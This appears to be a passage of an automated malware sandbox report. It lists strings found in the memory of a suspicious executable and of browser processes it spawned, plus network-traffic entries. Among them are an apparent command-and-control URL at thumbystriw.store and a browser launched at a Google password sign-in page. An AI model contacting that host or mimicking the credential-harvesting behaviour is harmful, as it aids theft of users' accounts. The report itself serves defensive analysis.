Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs:places.frecency.pages.alternative.numSampledVisitsfirefox-desktop-
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_RESET
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_RESETDISCOVERY_STREAM_CONFIG_SETUP_downloadD
Source: firefox.exe, 00000019.00000002.2576624739.000002B9B57D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1715374278.0000000005900000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223428436.000000000586E000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2366457427.00000000052F3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000019.00000002.2599178228.000002B9B7221000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2582949782.000002B9B5E8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpUpdateService:_postU
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2570246981.000002B9B4CBD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsUpdateService:_postUpdatePr
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesstartMigration
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translationAttempting
Source: 7f3598dc65.exe, 00000010.00000003.2431038092.00000000053B2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1715374278.00000000058FE000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223546717.0000000005865000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223428436.000000000586C000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2367203100.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2366457427.00000000052F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 7f3598dc65.exe, 00000008.00000003.2223546717.0000000005840000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2367203100.00000000052C5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1715374278.00000000058FE000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223546717.0000000005865000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2223428436.000000000586C000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2367203100.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2366457427.00000000052F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 7f3598dc65.exe, 00000008.00000003.2223546717.0000000005840000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2367203100.00000000052C5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: file.exe, 00000000.00000003.2011455939.000000000104F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://thumbystriw.store:443/apiMCN9
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2353978137.000002B9B4900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5155000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2354383333.000002B9B4B1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://formautofill/locale/formautofill.propert
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2444383000.000002B9BCB2F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/searchcbe309e0-f638-4996-9dfc-ea5c19ef16e9ccb137f1-7733-464c-bb70-03
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search8
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=P-
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchapp-background-update-offgoogle
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFF4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2456017597.000002B9BD031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2466071630.000002B9BD05D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1742069486.00000000059C5000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2257999297.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2431038092.00000000053B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B580B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B580B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/refresh-firefox-reset-add-ons-and-settingsresource:///modules/Ur
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: file.exe, 00000000.00000003.1742069486.00000000059C5000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2257999297.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2431038092.00000000053B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580737479.000002B9B5CA0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000019.00000002.2516090955.000000E69BAFC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2523144040.0000014391D4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B579F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000019.00000002.2595976581.000002B9B70A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580737479.000002B9B5CB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000019.00000002.2597481806.000002B9B7138000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2531448134.000002B9B06E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5F31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2502829985.00000274E3780000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2502829985.00000274E378A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2503887360.00000274E3A34000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2502469705.000002941987A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2502469705.0000029419870000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2503220295.00000294199C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2340130163.00000224CCCD0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2348962243.000001F93D3F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2524572287.000002B9A4BD9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000019.00000002.2526675937.000002B9A671A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2526675937.000002B9A66AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2526675937.000002B9A6716000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2502829985.00000274E3780000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2503887360.00000274E3A34000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2502469705.0000029419870000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2503220295.00000294199C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdTry
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdWhether
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/accountensureUnloadHandlerRegistered.panel-header
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B580B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comevictOutOfRangeContentViewersbrowser.search.widget.inNavBargetAllStyleSheetCSSSty
Source: unknown Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown Network traffic detected: HTTP traffic on port 62945 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 62939 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 62837
Source: unknown Network traffic detected: HTTP traffic on port 62916 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
